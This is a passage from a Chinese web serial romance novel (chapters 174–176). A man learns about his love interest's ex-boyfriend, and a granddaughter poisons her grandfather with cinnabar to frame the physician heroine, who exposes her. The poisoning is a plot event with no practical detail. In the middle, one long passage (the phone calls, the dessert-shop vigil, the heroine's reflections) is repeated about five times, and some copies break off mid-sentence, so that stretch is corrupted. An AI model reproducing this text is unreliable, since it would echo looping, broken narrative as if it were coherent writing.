是他来得不是时候。 只是司慎行以前不是不钟爱这种事吗? 难道是他判断失误? “你最好说出点有价值的事。” 司慎行嗓音冰冷锐利,仿佛能割疼人。 “阿行……别冲动,冲动是魔鬼。” “说正事。” 季恒生怕真惹怒了这位活阎罗,忙说:“你不是让我帮你追嫂子吗?我查到嫂子之前有个男朋友,她在他那里受了情伤,所以现在才会对你、对任何男人都没什么想法。” 司慎行面无表情地点了支烟,心里的火气才消散一些。 “你要说的就是这个?” 季恒错愕看他一眼。 “你知道了?” “她跟我提过。” “那你知不知道,对方是什么人?” 司慎行摇头。 季恒更加意外。 “你没去查过?” 司慎行拉开椅子坐下,吐了口烟,说:“我答应过她,不查跟她有关的任何事。” 季恒叹了一口气。 “还没在一起呢,已经成妻管严了。真结婚了,你该变成什么样子?” “妻管严没什么不好。” 他的经历注定让他跟别的男人不一样。 以前他还是私生子的时候,连死活都没人管。 那个时候,他最希望的,就是能有个人管着他。 现在亦然。 当然,现在不是没人管他,是没人敢管他。 第174章 她的前男友 “得!算我自作多情,白白忙这一趟好吧?我这就走,不耽误你忙‘正事’。” 季恒话音刚落,屁股就被踹了一脚。 他吃痛地捂住屁股。 正要抱怨,就听司慎行说:“说说看,她前男友是谁。” 季恒疑惑地问:“你不是说你答应她不查她的事吗?” 司慎行默默看他一眼。 “是你查的,也是你非要告诉我的,跟我有什么关系?” 季恒翻了个白眼。 好狡猾的男人。 不过他也确实想跟司慎行提一提夏灼灼的前男友。 “你知道京都那位云**吧?” “知道,现在已经退休了,但手底下带出来的人,现在都是京都的高官。” 季恒点点头,又问:“那你知道他的孙女婿吗?” 司慎行想了一下,说:“是不是叫宗域?” “对!就是这阵子在京都很红的那位。去边境维和,九死一生立了大功回来,现任京都**厅二把手。是这几年里升职最快的,但没人有意见,因为所有人都知道,这是他拿命换回来的。” 但话音一转,季恒又说:“不过我知道,除了拿命换回来,也是因为背后有人推波助澜,他才能拿到那个维和的机会。他背后的那个人,就是云老**。现在,他已经跟云老**的孙女结婚了。” 司慎行表情很安静。 像是在听一个无关紧要的故事。 哪怕他已经猜到,这个宗域,就是夏灼灼的前男友。 “阿行,他就是……” “我知道。”司慎行打断他:“我已经知道他的身份了,你可以走了。” 季恒却还有话要说。 “我今天过来,不只是为了跟你说嫂子的前男友的身份。” 司慎行抬起眼皮。 季恒这才继续说道:“我跟宗域打过一次交道,那次,他喝多了。他说,他没有放下过他的前男友,他也不爱他的老婆,他的一切,都是被迫的。他说他一定会离婚。我当时并不认识嫂子,所以也懒得管他那点闲事,就当他胡言乱语。没想到……” 司慎行的眼神很凝重。 他知道季恒为什么说这些了。 如果宗域说的是实话的话,那么他……其实从未背叛过夏灼灼。 如果夏灼灼知道了这些,是否会心软?原谅他,跟他重归于好? 司慎行又点了支烟。 他其实没有烟瘾,但心烦的时候就喜欢点一支。 尼古丁能让他头脑冷静。 季恒在他旁边坐下来。 “我觉得,这个人以后会成为你跟嫂子之间的阻碍。你得做点什么。” 司慎行吐了口烟。 “我做什么?杀了他?” 宗域现在的身份,不是他能随便动的。 何况,他也不打算杀了他。 杀了他,就会让宗域成为一颗随时会引爆的定时**。 而他,也不屑做这些。 季恒也懂他的意思,半分钟之后说:“不是让你杀了他,咱们至少得弄清楚,宗域为什么被迫娶了云老爷子的孙女。弄清楚之后,咱们可以让他们更深度地捆绑,让他永远离不了婚。” 司慎行猛地摁灭烟头。 “用不着。” “可是……” “没有可是。我司慎行追人,光明磊落。如果真的输给他,那我也认。” 季恒张了张嘴,说:“那你以后可别后悔,该提醒你的我都已经提醒你了。” 司慎行说了句“谢了”,之后再没别的话。 季恒只能恨铁不成钢地离开。 只是出门之后,他还是给自己的手下打了个电话。 “继续查宗域的事。” 司慎行不屑做的事情,他来帮他做。 …… 另一边。 夏灼灼在吃完晚饭之后,接到了杜正国打过来的电话。 “七小姐,云老先生这边已经按照你开的药方,吃了三天的药了,我本来以为您今天会过来的……” 夏灼灼说:“有点事情耽误了,我明天来。” 杜正国安排了片刻,问:“大概什么时间?我好派人来接。” “我自己会过去。” “那大概是什么时间呢?我这边也好有所准备。” 杜正国一直问具体的时间。 夏灼灼便说了个时间。 “上午十点。” “好。那我在这边恭候您。” “嗯。” 通话结束,杜正国看向旁边的云霓,忍不住问:“云小姐,你为什么非要让我问清楚她过来的时间?” 云霓苦笑一声,说:“你应该也看出来了,我跟她有一点过节,她答应给我爷爷看病的前提是,我不能出现在她眼前。但我又不舍得离开爷爷半步,所以才要问清楚她什么时候过来,我好提前避开。” “原来如此。”杜正国点了下头,又问:“您跟夏小姐有什么不能解决的矛盾 吗?说出来或许我能帮上一点忙。” 云霓的表情很复杂,复杂中又带着点哀伤。 “你帮不上忙的。她……喜欢我老公。当时我跟她一起追求域哥,域哥选了我,没选她。” 杜正国讶异,却又有种说不出来的不对劲。 “好了,您去忙吧,我留在这里照顾爷爷就好。”云霓道。 杜正国点头,扭头出去了。 云霓看着房门被关上,慢慢坐在了老爷子的床边。 老爷子还是在昏睡。 夏灼灼留下来的药方并没有起什么作用,老爷子清醒的时间还是很短暂。 这足以证明,老爷子的病,夏灼灼治不了。 杜正国跟她说过,如果夏灼灼都治不了的病,那应该没人能治好了。 既然如此…… 云霓握住老爷子形容枯槁的手,无声地落泪。 “对不起了,爷爷。” …… 夏灼灼那边,她挂断电话后,就给落九针打过去电话。 “一切按照您说的做了。” 夏灼灼“嗯”了声,说:“辛苦。” 而后,她又给金虎打去了电话。 金虎那边也是一样的话。 “按照您的安排,一切顺利。” 夏灼灼说好,挂断电话,去了夏怀征的房间。 他正在一个人尝试走路。 夏灼灼敲门之后,里面并没有任何回应。 她觉得奇怪,正要直接开门,房门在这时被人从里面拉开。 是夏怀征开的门。 他自己从床边走到了门口,给夏灼灼开了门。 夏灼灼眼中闪烁着欣喜,但没有太多的惊讶。 “大哥,你比前两天又好一些了。” 夏怀征用力点头。 “多亏了你。” “最后两天了,咱们一起努力。” 夏怀征扯唇,露出一抹志在必得的笑。 夏太太也过来了。 之前夏灼灼给夏怀征治疗的时候,如果需要帮忙,一般只叫上夏六。 因为他们两个都不想让夏太太看到夏怀征被治疗的时候,痛苦的样子。 但最难熬的时候已经过去了,夏灼灼也就同意让夏太太陪同。 三个人说说笑笑,仿佛不是在治疗。 气氛很轻松。 转眼便到了第二天。 杜正国八点就打电话来给她,提醒她今天要去给云老爷子治疗。 夏灼灼说自己记得。 然而九点的时候,杜正国再次打电话过来。 询问她准备出发了没有。 夏灼灼道:“我一会儿就会出发,十点准时到达。” “好的,夏小姐。”杜正国说着,又道歉道:“不好意思,我怕您人贵事忙,所以才一直问。” “没关系,可以理解。”夏灼灼语气平静,听不出埋怨,杜正国这才放心挂了电话。 而事实上,夏灼灼现在已经出门了。 她提前了半个小时出去。 却没有直接去杜公馆,而是去了暗部。 她拿上了秋雨制作好的解药。 解药制作过程,夏灼灼全程跟他们开着视频通话,所以万无一失。 她拿了药,在十点还差二十分钟的时候就赶到了杜公馆所在的街道。 却没有去杜公馆,而是进了杜公馆对面的一家甜品店。 大上午的,甜品店没什么客人。 夏灼灼要了一份拿破仑蛋糕,用刀切开,慢慢吃着。 她不怎么爱吃甜的,但偶尔吃点甜的,能短暂提升注意力和反应速度。 夏灼灼坐的位置,是在玻璃窗偏后的位置,她能通过玻璃窗,看清楚对面的情形,但对面如果不仔细看,是看不到她的。 过了约莫十分钟,夏灼灼看到云霓从杜公馆里面出来了。 她的脸色很苍白,像是在害怕什么,双手合十,嘴唇上下动了几下。 夏灼灼看得懂一些唇语,云霓说的是:爷爷,请你原谅我。 她眼底闪过一抹冷嘲。 事情果然如她预料的那样,为了对付自己,云霓会对把她视如己出的云老爷子出手。 只是她不理解的是,云霓已经得到了自己想要的,为什么还要对付她? 按理说,应该心存怨怼的人,是她,而不是云霓。 夏灼灼又想到了宗域。 他是一个坦荡、磊落的人,他是怎么看上云霓的呢? 难道是云霓伪装的太好? 还是宗域伪装的太好,他根本不是她记忆中的那个样子? 夏灼灼很快没去想他了。 她已经彻底在心里把宗域放下。 哪怕心里想起他的时候仍会有隐痛,但不会跟以前一样,连呼吸都觉得困难了。 而她扪心自问,今天对付云霓,仅仅是因为云霓先出手对付她。 为了验证猜测,她还特意提前来了这里。 免得自己误伤无辜。 她已经做到这个程度了,所以坦坦荡荡,光明磊落。 夏灼灼说自己记得。 然而九点的时候,杜正国再次打电话过来。 询问她准备出发了没有。 夏灼灼道:“我一会儿就会出发,十点准时到达。” “好的,夏小姐。”杜正国说着,又道歉道:“不好意思,我怕您人贵事忙,所以才一直问。” “没关系,可以理解。”夏灼灼语气平静,听不出埋怨,杜正国这才放心挂了电话。 而事实上,夏灼灼现在已经出门了。 她提前了半个小时出去。 却没有直接去杜公馆,而是去了暗部。 她拿上了秋雨制作好的解药。 解药制作过程,夏灼灼全程跟他们开着视频通话,所以万无一失。 她拿了药,在十点还差二十分钟的时候就赶到了杜公馆所在的街道。 却没有去杜公馆,而是进了杜公馆对面的一家甜品店。 大上午的,甜品店没什么客人。 夏灼灼要了一份拿破仑蛋糕,用刀切开,慢慢吃着。 她不怎么爱吃甜的,但偶尔吃点甜的,能短暂提升注意力和反应速度。 夏灼灼坐的位置,是在玻璃窗偏后的位置,她能通过玻璃窗,看清楚对面的情形,但对面如果不仔细看,是看不到她的。 过了约莫十分钟,夏灼灼看到云霓从杜公馆里面出来了。 她的脸色很苍白,像是在害怕什么,双手合十,嘴唇上下动了几下。 夏灼灼看得懂一些唇语,云霓说的是:爷爷,请你原谅我。 她眼底闪过一抹冷嘲。 事情果然如她预料的那样,为了对付自己,云霓会对把她视如己出的云老爷子出手。 只是她不理解的是,云霓已经得到了自己想要的,为什么还要对付她? 按理说,应该心存怨怼的人,是她,而不是云霓。 夏灼灼又想到了宗域。 他是一个坦荡、磊落的人,他是怎么看上云霓的呢? 难道是云霓伪装的太好? 还是宗域伪装的太好,他根本不是她记忆中的那个样子? 夏灼灼很快没去想他了。 她已经彻底在心里把宗域放下。 哪怕心里想起他的时候仍会有隐痛,但不会跟以前一样,连呼吸都觉得困难了。 而她扪心自问,今天对付云霓,仅仅是因为云霓先出手对付她。 为了验证猜测,她还特意提前来了这里。 免得自己误伤无辜。 她已经做到这个程度了,所以坦坦荡荡,光明磊落。 夏灼灼说自己记得。 然而九点的时候,杜正国再次打电话过来。 询问她准备出发了没有。 夏灼灼道:“我一会儿就会出发,十点准时到达。” “好的,夏小姐。”杜正国说着,又道歉道:“不好意思,我怕您人贵事忙,所以才一直问。” “没关系,可以理解。”夏灼灼语气平静,听不出埋怨,杜正国这才放心挂了电话。 而事实上,夏灼灼现在已经出门了。 她提前了半个小时出去。 却没有直接去杜公馆,而是去了暗部。 她拿上了秋雨制作好的解药。 解药制作过程,夏灼灼全程跟他们开着视频通话,所以万无一失。 她拿了药,在十点还差二十分钟的时候就赶到了杜公馆所在的街道。 却没有去杜公馆,而是进了杜公馆对面的一家甜品店。 大上午的,甜品店没什么客人。 夏灼灼要了一份拿破仑蛋糕,用刀切开,慢慢吃着。 她不怎么爱吃甜的,但偶尔吃点甜的,能短暂提升注意力和反应速度。 夏灼灼坐的位置,是在玻璃窗偏后的位置,她能通过玻璃窗,看清楚对面的情形,但对面如果不仔细看,是看不到她的。 过了约莫十分钟,夏灼灼看到云霓从杜公馆里面出来了。 她的脸色很苍白,像是在害怕什么,双手合十,嘴唇上下动了几下。 夏灼灼看得懂一些唇语,云霓说的是:爷爷,请你原谅我。 她眼底闪过一抹冷嘲。 事情果然如她预料的那样,为了对付自己,云霓会对把她视如己出的云老爷子出手。 只是她不理解的是,云霓已经得到了自己想要的,为什么还要对付她? 按理说,应该心存怨怼的人,是她,而不是云霓。 夏灼灼又想到了宗域。 他是一个坦荡、磊落的人,他是怎么看上云霓的呢? 难道是云霓伪装的太好? 还是宗域伪装的太好,他根本不是她记忆中的那个样子? 夏灼灼很快没去想他了。 她已经彻底在心里把宗域放下。 哪怕心里想起他的时候仍会有隐痛,但不会跟以前一样,连呼吸都觉得困难了。 而她扪心自问,今天对付云霓,仅仅是因为云霓先出手对付她。 为了验证猜测,她还特意提前来了这里。 免得自己误伤无辜。 她已经做到这个程度了,所以坦坦荡荡,光明磊落。 夏灼灼说自己记得。 然而九点的时 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过了约莫十分钟,夏灼灼看到云霓从杜公馆里面出来了。 她的脸色很苍白,像是在害怕什么,双手合十,嘴唇上下动了几下。 夏灼灼看得懂一些唇语,云霓说的是:爷爷,请你原谅我。 她眼底闪过一抹冷嘲。 事情果然如她预料的那样,为了对付自己,云霓会对把她视如己出的云老爷子出手。 只是她不理解的是,云霓已经得到了自己想要的,为什么还要对付她? 按理说,应该心存怨怼的人,是她,而不是云霓。 夏灼灼又想到了宗域。 他是一个坦荡、磊落的人,他是怎么看上云霓的呢? 难道是云霓伪装的太好? 还是宗域伪装的太好,他根本不是她记忆中的那个样子? 夏灼灼很快没去想他了。 她已经彻底在心里把宗域放下。 哪怕心里想起他的时候仍会有隐痛,但不会跟以前一样,连呼吸都觉得困难了。 而她扪心自问,今天对付云霓,仅仅是因为云霓先出手对付她。 为了验证猜测,她还特意提前来了这里。 免得自己误伤无辜。 她已经做到这个程度了,所以坦坦荡荡,光明磊落。 夏灼灼说自己记得。 然而九点的时候,杜正国再次打电话过来。 询问她准备出发了没有。 夏灼灼道:“我一会儿就会出发,十点准时到达。” “好的,夏小姐。”杜正国说着,又道歉道:“不好意思,我怕您人贵事忙,所以才一直问。” “没关系,可以理解。”夏灼灼语气平静,听不出埋怨,杜正国这才放心挂了电话。 而事实上,夏灼灼现在已经出门了。 她提前了半个小时出去。 却没有直接去杜公馆,而是去了暗部。 她拿上了秋雨制作好的解药。 解药制作过程,夏灼灼全程跟他们开着视频通话,所以万无一失。 她拿了药,在十点还差二十分钟的时候就赶到了杜公馆所在的街道。 却没有去杜公馆,而是进了杜公馆对面的一家甜品店。 大上午的,甜品店没什么客人。 夏灼灼要了一份拿破仑蛋糕,用刀切开,慢慢吃着。 她不怎么爱吃甜的,但偶尔吃点甜的,能短暂提升注意力和反应速度。 夏灼灼坐的位置,是在玻璃窗偏后的位置,她能通过玻璃窗,看清楚对面的情形,但对面如果不仔细看,是看不到她的。 过了约莫十分钟,夏灼灼看到云霓从杜公馆里面出来了。 她的脸色很苍白,像是在害怕什么,双手合十,嘴唇上下动了几下。 夏灼灼看得懂一些唇语,云霓说的是:爷爷,请你原谅我。 她眼底闪过一抹冷嘲。 事情果然如她预料的那样,为了对付自己,云霓会对把她视如己出的云老爷子出手。 只是她不理解的是,云霓已经得到了自己想要的,为什么还要对付她? 按理说,应该心存怨怼的人,是她,而不是云霓。 夏灼灼又想到了宗域。 他是一个坦荡、磊落的人,他是怎么看上云霓的呢? 难道是云霓伪装的太好? 还是宗域伪装的太好,他根本不是她记忆中的那个样子? 夏灼灼很快没去想他了。 她已经彻底在心里把宗域放下。 哪怕心里想起他的时候仍会有隐痛,但不会跟以前一样,连呼吸都觉得困难了。 而她扪心自问,今天对付云霓,仅仅是因为云霓先出手对付她。 为了验证猜测,她还特意提前来了这里。 免得自己误伤无辜。 她已经做到这个程度了,所以坦坦荡荡,光明磊落。 夏灼灼说自己记得。 然而九点的时候,杜正国再次打电话过来。 询问她准备出发了没有。 夏灼灼道:“我一会儿就会出发,十点准时到达。” “好的,夏小姐。”杜正国说着,又道歉道:“不好意思,我怕您人贵事忙,所以才一直问。” “没关系,可以理解。”夏灼灼语气平静,听不出埋怨,杜正国这才放心挂了电话。 而事实上,夏灼灼现在已经出门了。 她提前了半个小时出去。 却没有直接去杜公馆,而是去了暗部。 她拿上了秋雨制作好的解药。 解药制作过程,夏灼灼全程跟他们开着视频通话,所以万无一失。 她拿了药,在十点还差二十分钟的时候就赶到了杜公馆所在的街道。 却没有去杜公馆,而是进了杜公馆对面的一家甜品店。 大上午的,甜品店没什么客人。 夏灼灼要了一份拿破仑蛋糕,用刀切开,慢慢吃着。 她不怎么爱吃甜的,但偶尔吃点甜的,能短暂提升注意力和反应速度。 夏灼灼坐的位置,是在玻璃窗偏后的位置,她能通过玻璃窗,看清楚对面的情形,但对面如果不仔细看,是看不到她的。 过了约莫十分钟,夏灼灼看到云霓从杜公馆里面出来了。 她的脸色很苍白,像是在害怕什么,双手合十,嘴唇上下动了几下。 夏灼灼看得懂一些唇语,云霓说的是:爷爷,请你原谅我。 她眼底闪过一抹冷嘲。 事情果然如她预料的那样,为了对付自己,云霓会对把她视如己出的云老爷子出手。 只是她不理解的是,云霓已经得到了自己想要的,为什么还要对付她? 按理说,应该心存怨怼的人,是她,而不是云霓。 夏灼灼又想到了宗域。 他是一个坦荡、磊落的人,他是怎么看上云霓的呢? 难道是云霓伪装的太好? 还是宗域伪装的太好,他根本不是她记忆中的那个样子? 夏灼灼很快没去想他了。 她已经彻底在心里把宗域放下。 哪怕心里想起他的时候仍会有隐痛,但不会跟以前一样,连呼吸都觉得困难了。 而她扪心自问,今天对付云霓,仅仅是因为云霓先出手对付她。 为了验证猜测,她还特意提前来了这里。 免得自己误伤无辜。 她已经做到这个程度了,所以坦坦荡荡,光明磊落。 第175章 下毒 云霓嘀嘀咕咕了一阵,便有一辆车开过来。 她上了车,走了。 夏灼灼这才出门,摘掉脸上的口罩,进了杜公馆。 杜正国早在客厅迎接,杜浩然也在。 让夏灼灼比较意外的是,杜馨月也在场。 她没跟夏灼灼说话,只是跟着一起上了楼。 夏灼灼看出了她有话要说,只是在场的人多,她不方便开口。 夏灼灼当没看见,平静地往楼上走。 到了老爷子的房间,他还是昏睡着。 只是眼角竟有一滴浑浊的泪珠。 但很快流到枕头上,没有痕迹了。 其他人都没注意到,夏灼灼看见了。 她坐到床边的凳子上,一边为老爷子把脉,一边询问杜正国老爷子这三天的情况。 “您留下来的药方,我一直让人准时给老爷子服用。但是……” 杜正国欲言又止。 夏灼灼抬了一下眼皮,说:“但是什么?你直说吧,这里没有外人。” 杜正国这才继续说:“但是云老爷子一点都没有好转的迹象……是不是这药开的太轻了?” 夏灼灼扭头看向杜正国。 杜正国还以为她生气了。 她对杜家有恩,杜老爷子的身体,还得靠她续命呢。 正要解释自己没别的意思,夏灼灼率先开口了。 “没好转,但是也没变坏,不是吗?” 杜正国噎了下。 只听夏灼灼继续说道:“在云老先生被送过来之前,情况是不是一天比一天差?” 杜正国心惊了片刻。 “的确是这样……” “那就是这药还是有点用的。” 没有变好,但也没有变得更差。 是杜正国太担心了,忽略了这一点。 杜、云两家,在老爷子这一辈就是朋友。 虽然一家从政,一家从商,但利益往来并不少。 所以杜正国像关心自己爸一样,关心云老爷子。 “是这个意思……是我糊涂了。”杜正国说。 夏灼灼说:“不怪你,关心则乱。” 她说着,继续给老爷子把脉。 片刻后,她突然露出一副很吃惊的样子。 “怎么会这样?” 杜正国连忙走上前问:“怎么了?” 夏灼灼的眸光很冷。 “吃了我开的药后,云老爷子的身体按理说,会比之前稳定很多。但现在却气机阻滞,血行不畅,毒邪内蕴……” 杜正国听不懂,问:“气机、血行……是什么意思?” 夏灼灼道:“简单来说,就是中毒了。” 杜正国大吃一惊,眼珠子都要瞪出来。 杜馨月也很吃惊,不过什么都没说,只安静地站着。 只有杜浩然,这个没脑子的,开口就说:“不可能!” 几个人都看了过去。 杜浩然阴沉着脸,说:“自从云老爷子住过来之后,是我爸亲自负责料理他的,几乎寸步不离。你说他突然被人下了毒,是想说我爸下毒了?” 杜正国刚才还没想到这一茬。 听到自己儿子这么说,他才反应过来,脸色也有点不好看。 “夏小姐,你是不是判断失误了?” “我没有判断失误,同样的,我也没有说下毒的人是你们。” 杜正国的脸色好了一点。 夏灼灼继续说道:“刚才杜少爷说你几乎寸步不离,也就是说,也有离开的时候。” 杜浩然插嘴道:“废话!我爸也要吃饭,上厕所,睡觉。” 杜浩然看上了夏灼灼,但夏灼灼对他一直爱搭不理,这让他心里对夏灼灼存了气。 有气,顺势就一起发作了。 “你闭嘴!”杜正国训斥他:“不是你说话的时候!馨月,你把他带出去。” “是,爸爸。”杜馨月拽着杜浩然出去了。 夏灼灼这才继续说:“老爷子的这个脉象很乱,但明显是刚刚中毒不久。这一个小时之内,除了您自己,都有什么人进过这个房间?” 杜正国欲言又止。 夏灼灼道:“您如果想洗脱嫌疑,最好说清楚。您知道我的医术怎么样,所以您应该明白,我不会诊脉失误。” 杜正国咬了咬牙,开口道:“这一个小时内,除了我,就是一个护工。但这个护工是我爸身边的,很老实,而且她在场的时间,我也在场。她没有下手的机会。不过……” “不过什么?” “云霓也来了。” “什么时候?” “你过来前十分钟,她一直在。而且这一个小时内,我一直在客厅等你,没有上楼。” “也就是说,只有她有下手的机会?” 杜正国沉默了一会儿,说:“是这样。但云老爷子是她的亲爷爷,她不可能会这么做,她没有这个动机。” 夏灼灼露出纳闷的表情。 “那就怪了。如果不是她,那就只有可能是那个护工。” “我去问问她!” “先不急,先解毒要紧。” “您能解毒?” “当然。老爷子中的毒,是朱砂的毒。这毒,不难解。” 夏灼灼说着,已经打开自己带过来的药箱。 里面的东西一应俱全。 夏灼灼先给老爷子喂了一颗药。 那颗药就是她从暗部带来的解药。 然后再为他进行针灸。 云老爷子的病症很凶猛,多种病缠身,这也是为什么别的医生都不敢接手——一个不小心,人会死得更快。 夏灼灼既然接了,就有这个自信。 她这两天除了忙自己的事,闲下来的时间,就开始研究怎么治疗云老爷子的病。 她已经查到了一道针法,很适合云老爷子。 夏灼灼摊开银针,一一消毒之后,为云老爷子开始治疗。 足足花了半个小时时间,夏灼灼的额头上都冒出了豆大的汗珠,她才终于松了一口气,说:“结束了。” 杜正国瞠目结舌:“这就算治好了?” 夏灼灼看他一眼。 “哪有这么简单?今天才是第一次治疗,一共有三个疗程,每个疗程七天。一共得二十一天,才能彻底痊愈。只是痊愈之后,他的腿应该也走不了路,但这条命可以保住。“ 杜正国长出了一口气。 能保住命就好。 “人应该很快就能醒过来了,你现在可以去问问那个护工了。” 杜正国这才想起这事。 刚才夏灼灼治疗的时候他太紧张,都忘了这一茬了。 “我马上去!” 夏灼灼提醒他:“中毒的事情不算小,你把云小姐也叫过来吧。” 杜正国错愕地问:“可是您不是不想见到她吗?” 夏灼灼笑了一声,说:“是她跟你说的?” “嗯……” “她还说什么了?” 杜正国有些迟疑,但还是说了。 “她说,当初你跟她一起追求宗域,宗域最后选择了她,所以你心有芥蒂……” 夏灼灼像是听到了一个笑话。 “她竟然是这么跟你说的吗?” “是的……” 只听夏灼灼道:“我跟宗域,是公开的男女朋友。是她插足了我跟宗域,你要是不信,自己去问问宗域就是了。不过现在我已经放下了。我不想见她,也只是单纯见到小三觉得恶心。” “……” 杜正国当时就觉得有点不对,因为他跟夏灼灼打交道虽然不多,但也多少知道她的脾性。 不是那种……输给了别人,就耿耿于怀的人。 而且如果真的只是云霓说的那样,为什么云霓在提起夏灼灼的时候,眼神会那么痛恨? 痛恨的人,不应该是输了的夏灼灼吗? 原来事情的真相是这样…… “但此一时彼一时,下毒的事情不弄清楚,我也脱不开关系。你把她叫过来吧,不过得换个说法。你就说,老爷子情况不太好,让她立刻赶过来,免得她因为心虚,不敢来见我。” 杜正国表情复杂地应了。 心里却隐隐怀疑,或许下毒的人不是护工,或许下毒的人,真是云霓。 女人都很容易因为感情的事情,做出一些冲动的事情。 他很快出去了,自己给云霓打电话,护工那边,则是让杜浩然去“问”。 他这个儿子,虽然偶尔脑筋糊涂,但手段比他狠辣。 审问人这种事情,交给他,算是专业对口。 而杜馨月则是来到了房间里。 她开门见山地对夏灼灼说:“我派去江泽老家的人回来了。” 夏灼灼了然。 怪不得今天杜馨月会出现在这里。 她看一眼床上的云老爷子,开口道:“这件事,之后再说吧。” 杜馨月蹙眉:“为什么?房间里就我们两个人。” 夏灼灼道:“云老先生不是人?” 杜馨月一噎:“我没有这个意思,只是他听不到……” “病人刚结束治疗,需要静养。等事情结束了,我们再聊。” 杜馨月只好说:“那结束了,我们一起吃顿饭。” 夏灼灼微微一笑:“好。” 杜馨月不喜欢夏灼灼的笑容。 她笑起来的时候,就好像对所有的一切都胜券在握,让人非常不安。 但奇怪的是,她好像又没有特别讨厌她的笑容。 内心复杂,嘴上却没有继续说话了,只安静地等着。 很快杜浩然和杜正国就回来了。 “那个护工没有动手脚。”杜浩然语气很笃定。 夏灼灼也不问他审问的经过,点点头。 又看向杜正国。 “云霓马上到。” 话音一落,外头已经传来急促的脚步声。 下一秒房门被人大力推开。 云霓的身影像一阵风一样,伴随着哭声到来。 “爷爷……爷爷您怎么能丢下我啊!” 第176章 一起被牵扯进去 悲恸的哭嚎声,让屋内的人都愣住了。 尤其杜正国。 他虽然按照夏灼灼的吩咐,对云霓说的是“云老爷子不太好”,但云霓怎么一过来就直接认定云老爷子死了? 除非,她知道自己下了毒。 而且这种毒,会让云老爷子必死无疑。 杜正国的眸光沉了沉,眼底迸射着冷厉的光。 云霓跟夏灼灼到底有什么仇什么怨,他管不着。 但这里是杜家的地盘。 云老首长在杜家地盘出了事,他也逃不开关系。 而夏灼灼更是他请来的。 云霓这么做,不仅会害了夏灼灼,更会害了他杜家。 跟自己切身利益相关的事,杜正国怎么会不生气? 若不是因为云霓的身份,他恨不能现在就掐死她! 旁边的杜浩然下意识要过去解释,被杜正国一把拉住。 杜浩然不解地用眼神询问,杜正国只用口型说了两个字:闭嘴! 他已经反应过来了,夏灼灼猜到下毒的人大概率是云霓,所以才会让他对云霓说“老爷子不太好”。 既然夏灼灼早有预料,那么她一定有后招。 原本,如果事情不牵扯上他,他大可以让大事化小,小事化了。 谁也不得罪,谁也不偏袒。 但现在不一样了。 云霓会把他一起害了。 所以,就任由夏灼灼发挥吧。 杜正国制止住杜浩然多管闲事后,便看向夏灼灼。 只见她表情极其平静,气定神闲到让人后背发凉。 她就那么看着云霓嚎啕大哭。 又像是在等什么。 而那边,云霓哭得上气不接下气,等总算情绪平稳一点后,她一双眼睛冷冷看向夏灼灼。 “贱人!你害死了我爷爷!我要让你偿命!来人啊!” 一声令下,门外竟然进来了两个警员,以及云霓的两个手下。 两个手下穿着军装,眼神很凌厉。 夏灼灼却依旧是平静的模样。 “我害死云老先生?云小姐,说话要讲证据,你空口无凭冤枉人,我可以告你诽谤的。” “哼!” 云霓冷哼一声,说:“你过来之前,我爷爷状况一切稳定,偏偏你来了之后,他就走了,不是你害的还是谁!来人,把她给我抓起来。” 四个人立刻就朝夏灼灼走过来。 夏灼灼却很惊讶地“咦?”了一声。 “云小姐,你在说什么昏话呢?谁告诉你,老先生死了的?你这样诅咒他,不怕他醒了之后生你的气吗?” 那四个人就停住了脚步,眼底满是疑惑。 云老首长没死? 云霓的眉头也慢慢蹙了起来。 夏灼灼太镇定了,镇定地叫人心里发慌。 而杜家人的反应也很奇怪。 他们像是在等着看什么好戏。 云霓的心头,慢慢生起不安。 她不由得看向了云老爷子。 老爷子仍旧是闭着眼,脸色苍白不见任何血色,看不出是死是活。 她看了眼手下,那手下立刻会意,上前几步来到云老爷子床边,伸手探了下老爷子的鼻息。 虽然很微弱,但是有气息的,且气息均匀。 “大小姐……”那人顿时喜形于色,对云霓说:“老首长没死!” 云霓的脸部肌肉抽搐了下。 她不信邪似的,来到云老爷子床边,自己去探他的鼻息。 可手刚伸过去,云老爷子豁然睁开眼,目光直直地跟云霓的眼睛对视。 云霓吓得浑身一哆嗦,“啊——”地尖叫了一下,身子吓得往后连连退了好几步才稳住脚步。 而老爷子的眼睛,依旧死死地盯着她。 云霓又惊又怕,脑子乱成了一团。 她在心里说—— 不可能的,爷爷怎么可能没死? 她明明用了朱砂,混在了夏灼灼给老爷子调配的中药里。 药是她亲手喂进去的,也是亲眼看着老爷子喝下去的。 可怎么…… 怎么老爷子一点事情也没有? 而且非但如此,他的眼神,竟比前两天清醒的时候更明亮。 夏灼灼在这时候走上前。 她笑盈盈的,说出来的话却四两拨千斤。 “云小姐,老先生醒了,你怎么非但不高兴,还好像很吃惊?像是……觉得老先生必死无疑?” 云霓骤然回神。 她狠狠盯着夏灼灼。 “你胡说什么!爷爷醒了,我怎么会不高兴!你把嘴巴给我闭上!” 夏灼灼不说话了,脸上却依旧噙着笑。 云霓看到她笑得跟个狐媚子似的,心里就很不爽。 不过当务之急是爷爷。 她得弄清楚,到底是怎么回事。 她警告地瞪了夏灼灼一眼后,快步回到了云老爷子的床边。 “爷爷,你……” “啪——” 话未完全说出口,云老爷子抬手就给了她一巴掌。 这巴掌打的不重,云老爷子大病未愈,根本没有多少力气,但他的眼睛里满是愤怒。 云霓懵了。 “爷爷,你打我?” “你自己心里清楚,我为什么打你!” 云霓更懵了。 她下药,老爷子是看不到的,他当时是昏睡状态,是她抬着他的下巴,把药一点点喂进去的。 因为喂药很吃力,她花了近二十分钟才把一碗药喂完。 可爷爷说,她心里很清楚? 爷爷究竟知道些什么? 云霓的浑身都在细细发抖。 夏灼灼再次上前。 “老先生,我是这几天给你治疗的医生,您身体不爽快,别动气。就算动气……好歹告诉我们,为什么生气?” 云霓狠狠瞪向夏灼灼,怪她啰嗦。 但夏灼灼压根没看她,只盯着云老先生。 云老先生也在看她。 眼中并无感激,只有探究。 片刻后,他说:“我只是气她没规矩,对医生您大呼小叫,没别的。” 说完,他又补充道:“多谢你救我了。” 夏灼灼心里就明白,云老先生是不打算把真相说出口了。 他是清楚一切的。 因为这三天的药,夏灼灼不但帮他稳住了病情,还让他在昏迷中还能保留一点听力。 云霓心里不是不在乎她的爷爷,只是更在乎她自己。 所以下了药之后,她定然会说些忏悔的话。 就如同,她在甜品店的时候,看到云霓双手合十,对着老天爷忏悔。 而且就算没说忏悔的话也没关系,夏灼灼来了之后,一直在引导老爷子清楚事情的真相。 能坐上首长位置的,也不是蠢人。 他一定明白对自己下毒的人是云霓。 但他还是选择什么都不说,把事情轻轻盖过。 也难怪。 